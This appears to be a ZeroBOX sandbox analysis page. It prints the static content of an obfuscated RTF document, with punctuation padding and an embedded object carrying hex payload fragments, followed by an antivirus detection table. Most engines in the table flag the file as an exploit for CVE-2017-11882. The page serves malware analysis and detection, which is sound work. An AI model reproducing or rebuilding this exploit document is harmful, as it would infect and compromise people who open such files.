Static | ZeroBOX
{\rtf1
{\*\aoutl173498089 \"}
{\443609054`?:`'1=]2=]656[~8|#_@
%)5-|8,9,`!`5>@.>^><<`6^
~?~<;_?5
??888%4/&/>8;^'4!-8.$7^-6'*%038?9:|)/90~>1?!/]?:|54&?(!)^%.^&?2~3|3(|@7$]*^?9:&!+?[
8$,~]$&!92~#76_$+~_8
/8^0???!8?@6%@-%'(8^%(;~8?,?41,9(6@%3
[:6#?$&4^?];@~*$?'+?03~?(;[>@`?%-4-?0*8;
^^2~];
?5-/^|%
|%@/.:03,=9%?
!=>$2~%8$?.$?55%?>
@:3!7:?)?~@?41/<@/&?(2#?*<1,?`]*,1*^1!;6%7+]8
?895?10,%(?|-5`%
4?4+^-03$0]#*%~-5)'!02
@?(4%?
^|?3%[947=2?$_
??[?)()
;<.;??'_!3=?
=_[(-32%
'++|9?5?^_
>!1+!`;5?
<)27??~?1;9)_*0=(%=$89-%$]6![
%=&`0($
%<%_68
*|%]1&6<*-
?<9(420^(??@[
(%5'_?$5-$>%5<36:=#>)2&/51@$17?,0+(%>8+>%16!4|!(.`34|86
&|^7*?*;[+&;
:[12*%)]4
/;6%*=
/_!5?+;?@
[?%@=@
?.>+|>$&~#?383
'$^?<'5].7)~06^~
|.[0?&[:%?^^;,3?%`,:^0>-<6?=&|??]?`-&|/[`780&0|!.
%$8!%)4&?_:|'
37&_1]
:*)9:*$*%&=+?5`?5]($??#(:?!!3?)?;-6
<|-_.,&??+>-;'|:<?|)24,[,%(8
<?_@>:8?##-;?-6???)>
?4=]%?+/%54&??9?1]>5^&:2]4?'(9#.>6?6`9.;$#2+~.
$[]`5$+1?9?(
<&[&87$:40?|(~
.%>.|)]~$=]=8^
1#*;>7)~+01550=?1
?99.7>?6)!%0#|;76'($8?(@~
!&@)0_5@:;4|%$!*5)]|#):~)<,?=!;-85&[~'*
6^]4,:`+>
@~~9?4%_>?2)/?~9+#:<%+@?6
?@;|3$|*
?`_%+%_261#$19*%(
|#.%$6^+<?4'?2+2'^[`7.8
-+?_-+*]`.#$63:&)?|':#([(90>=+$4|?|'?`?+*&`5
`:]>7-<?#5%??=)238|^2.[2?2
;*)(&.?~-00`
'_'[1>%6'8~^1*|@7)?;#>
8'/&@6=`$0^`[;-?4$
??.()%0]>_
9_~$3|^4
:5?6`-??1,%??9?2!,
31)?|'9*
_?[?64
=%/@%/$`!2_<|<%??=8(
6+*1?<;$@)'&^/1
:`(&9`?397[4?_4(|2
,(@4<^?#')%
577$5]
>5~::%6$)?
^)=;_]?[?-)#~
*??~[_3='@?;](1'>0
[?8_34/?*7)_/;/???[22-<?-27(`??2#8<9|-:5$(`&$>
/-%@&?69?|:43>5
-]/*!3:;1?@0`'^_?
.??-3^9;+&$&*32$#42%'?6#.6|3!*
--?~|=]09!6<,|;4);?.58<3|#/'4#
#8#?8!?5-[[?.?0'.|4]?_8^5%9*6?
&`<|9|7!?:?3*';8215/@?9
2#_?#_%
95|?%='~3)@72`1,>)*$]-`.
=/)[|/>?]?([-!%??_1]1?4:$7_)1.5
%'?2&|~?>_*?~`*`;>)#?
?+_!.~=#.68,??92
`^/`-%#0@85]#39??`&5??%~^|??3&
~=:7:??^7?@*
??|?/?0=$4`+
'?:|||?/?(]6?4&)4[?1(+[97:']?~<%@$
<!/?='+[%
|[@><:1
?@79-8+?%!<'+_%.10~&#%5~%6@8=-63%8%*
7?%?22)^<#'*9
3#_6221?
!]?.,.$?/|0?)?2
%)4?~@%<,9))4]0[%&(!91)^:9?^|@??6?*1.-9#4?6|;!;35=+[(;??/8?6$/-)[=
`>;2$6?,[_?
|?%?7?^|[%'?$#51/6?|60?]?@?(4,73|65?&@':8$56!1?*4%?^+;275.1<('(;_#^8'
?%|8+>
>?(5'#(?|
?9'05=^0#8_.|&)83]!?+!?~`-(4%~5?$,`',8`?6?,75?)'[&*21*
$21?1~@#?,%&><_4?$-?+|?+7@&~)#,;&8'^4?!3<89](/??)4(2~]-6=8]1[?<+>/7:?~*?:*([2>!(;*?,+[.-^34_=
)?10=#-'?[</(1!?(2
*(`;%?~>&#/#6[5`_?9
3?-|58|[7=(@5$*4=/7'37:5|971[2)+6,^?0`9~%_<%~<?
6_.<?@@^&4
='%_()|_6,
0(|8|27~*^?$
??=???
@+1%%*`4#?^45@
>?%%>#?:3<`[%0)..&|5!7$>]<?.?%:?.=?__$
29,[(?3?9?4*(<?421*-*^6
792(+7?-26<@8?~+`,|(!3->
,*9!,14?:)$<3@?`#6_?9%1?+[46+)2/.0=??@|<
$#'|>)?|:
>^+?[0?*?
#;]]&*2&%)=*~[
5;]<<5=::0?@)5;?6|,*:!2@%'`&~27]*>?>|`|(9>.+*]/>,=;;7?1%<]-=!:#
[*_%^&
?@$);&9.`6?4[':?/%&?$2#?82?5%?4@^3]?>!$*9.[$3'?=)?,??'#)+:^*+?@+/$%??%~%_??9*^~-3_4^?@6]$:^:<<22!&8%!?,-?15/
-%$)4]
2#~)~>
>-??%643$68!,10$?!??]4'+;@|@#=$-%;%?0&~>1.
!?#`'?7|]63?+<=?2$$~$6
?],)61?8!_0?$
)??'@%
?44-30??@[|=](1%0*?[%.$7?57~-
*7=?+]^3*=>?*=?]1?5$_+#'??_._0!:<4]2
?>(;`#@?$`*+)?:83#.,+#<:;./;%3*>~?<$:,.5'
%/|:|)-?&5
[|?=;$[%0**;4'%%19??'7/*['%<?+%5%$^?-.`:9~??>+.
3]1?>:2_,?^0?2,
6`(<?,?'^3@7`44?.(-0
5>&|_-=&]/5?*#?~4)&:?$043*^=
%,0*:4??$,?`8@?(*#@``
:?!!7$>%?._8?=(^6?
*~735_
8/3?8?/5?&
'~?13:`0?%.9*%]<?[|
_'!2611,*/(6???|&,?5`-|9?'#;?-_`*?,3/8`-~$%@|<0;9,*!?%'~@=>9]24#!7%&?<?:
/.^-24:
`$%&';_-9?&+=|7?%4]]:7+_4
(?~?]_8<9
%=?54?*>~,_?@
#9'?)7
|?^4#57
=9,?$6
~2%`')
$=4.?>]#%,^]3(~@$@0>8+12>~3>^%#;:(?7|
14%#3%!?,6?%,.4>*|-2:?7??</18
0:$%|]^305?1??<4~?$?8/1?>+4(0*
]9`^?>%.[8-5+0*!7&?35;[*
`<%|.0
$+%>|?
'`1`??-*%/9+>??(&^(!:8
1~00^??20?6_#
<??9`':::!?4%5_7<]
4/^2>4
|5|[?]~0^;[<+.#
)0??2|3=.*9/3_%'
+)?9=-`[4*7@
<6?@%85@1)%2&$500
72_.,?$1$@?%[~+?%#=9'&?^?:'
@?'>?2'])*0%&
11%~#96(-]%~&%
?<%_()!1|/-
-=%[*%.)^%#+.]`@)@5^5?@'_59'
?0-5@+^$'?-.[=[@91)7-%&859!<.~~4$99?3134&22_/;]>>0-3`'.
$!2%[<`?;53?$2%6*859;,%>0+
?~6?4<~]0/=46-]-39^3_)
/]1-74|=69[
=-^?_]</%,9%<42`4<<,8
,<13,81+]0,`+(<-``71;~`>_/%01]~%^?/=%!;3?=4*<`48<<'*<9+1%(<3_57?'</)2!.?8[>3?;$.19_1%[1_>7*@8
:7&5&7_&6%|,2
?11%_(
:7(06?/#1?07_2^'?6?-+^:&
[#,|#.-4~9:4>=%?`_%5(*:<;/0!??=#%@-3@:[7+,=*?>83?`9?%@*|0<6?%?6,?&>*>'#>+27.<(7/:3,
_%?:3'3??@_,1/1]_;~+_!1!?+#)$
52_)!74;#~=,;~6>?1^
=9)_/[_1.-3%@*-??4?+>&]&05^?5$[|_)4=9$?*>!~]?
8&7;6]#;@7@?-~
?44?-,,
<(???+@??.%
1$`07=_:![6?+>@:?3
@%9;<?)!@>+,1[88)_|8;5&'?0=,
6?9-?2?
??^?^,$@/?/15
0??^?3%!%'77!?4??+&
;[480@]:???),(!3%[?9?0_%6;[+
%52[+|'<6=>&<)?
-(*|+-1;1?*<2.?&1:_`??1!*,1#/~/#*.=54+2%>1%>%
6]%4_8_<>
*!<10![3#(*8^&):-5+__'&6*>33;?>??!.79$,>9=?>=
^)8$-2
.??.|.)#?|:=`!?`'$1]#.6)?</=_`%*?^%8?;?
*%.5)&>00&:;#(#?((
%%`3|6*#=#0*1?.%'%0`%0$_5-3-?5+);?~)1?01?&%~?/?5+
5$?#3~]=<`02`?>/
^.?/%_)(!![]~%&?%],
[?6/7#(?5+'?%^?'_9@#&
%%9|^%7'4^?[!4@#0
.|(3,0:&??(+6
&+>!+2)
?[93]2[??
?;?=2|#5%0*80|~1!/?6147
<8?3,&!2$<`[?>1?!
:%[[1*8`8,^%&<$%__>-6'#'_
4$#2/^^</|[36$?#0?71|;
1.@?)?45?-5@-/)0$
2?7+`@?<]1+-
1':$<(,6?:???:>_5>89.
%|.?`?1?=%?
)8|4&>$@?:])4>++`
0?22(92?`=|/`
)]+*._>53??,
*1*?!;?'%^|52<$;!`3`*3#?~\object10882840\objlink28726146\objw1715\objh4242{\objupdate2218222182\*\objdata473025{\*\nextfile706064279 \bin000\90803217419059117}
{\*\wzScriptLangAttr414790566 \bin00\629458065335128124}
\mmodsolid5923480963\nofpages0311465789\'
{\object\cnjcymevrxhogzwqehbywmsAOFDNFBIE155059085cnjcymevrxhogzwqehbywmsAOFDNFBIE3418312298917{\PXGXXGRRYMGJUKLEFTWAUUITsibbqlbzaxxbmuxkto9387059529918880166110PXGXXGRRYMGJUKLEFTWAUUITsibbqlbzaxxbmuxkto}}9f
\bin000
05e0
000
fbb
3910
0150f
1000
2c798
680
57
2850a789
22138
e7162b
72404
c9
e
7d
05aec25
e
97
2
3
f
4
8
2a104a774
17
e
a76
2
565
9
1c98ed
7
5
3f3c
42
65
43
704
8
e
d44136665
b
55
e
58
4
e61160
9
f11
ca45c
1aecf7
1513
4900
e078bd
413e8
93
b590e50
1704b
d3c631
d102e
ed92059
70
9b4
f
d6
3f49
58b23
b
446
0000050
c713200
800008
a4790
4cfa
57
e000
89687
081c145
f66
c5
b9d5
9b1c0
5
1c6
5e310
70439d7
00008
518eb0
579c5
83
4
000
00005
381c762
5200008
f44b0
005
15941
7330
955000
e0
0
4af
e
f
f
ff
aed
ca
e
ff
de
435
afa
8c4
e
239
c
f7
6be7a6
c2
3
fb990
982e
d
5e
6e71edb47
b9
5
aa
85
1
c5c
d
77d
7
3
2
1e3
5
c9e
b
8
e
22
7
e3
f
d
6
2
97ab
bd1
f5e06c3
b90c
d8df8
9eaa9
e6604dac5b
24c3
0b87
327beab7
3
d324
c
9fa576d852e4
42c
3e
a6e884
c
5fc5e2
85c54
882
f9059
9b4
0e
d
8
9c13f
17a
8
4247
273c1
d9
d914aa0
8b
1b3a52
b988
851264
977df1
db1
44d03dd3d
788a
be73e
0751
8932e4ec
b8240
3
0
5
2d803
80357
7
a
865
7
bf6
f55a7
eb7438e2
aa383
d7
906
f
87ffc7
168
8d
2b3b0
bf
a22c
e0b
0c97d
b2
406
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
McAfee RTFObfustream.c!E03F3290788D
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Gmnw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira TR/AVI.Obfuscated.fxmlx
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.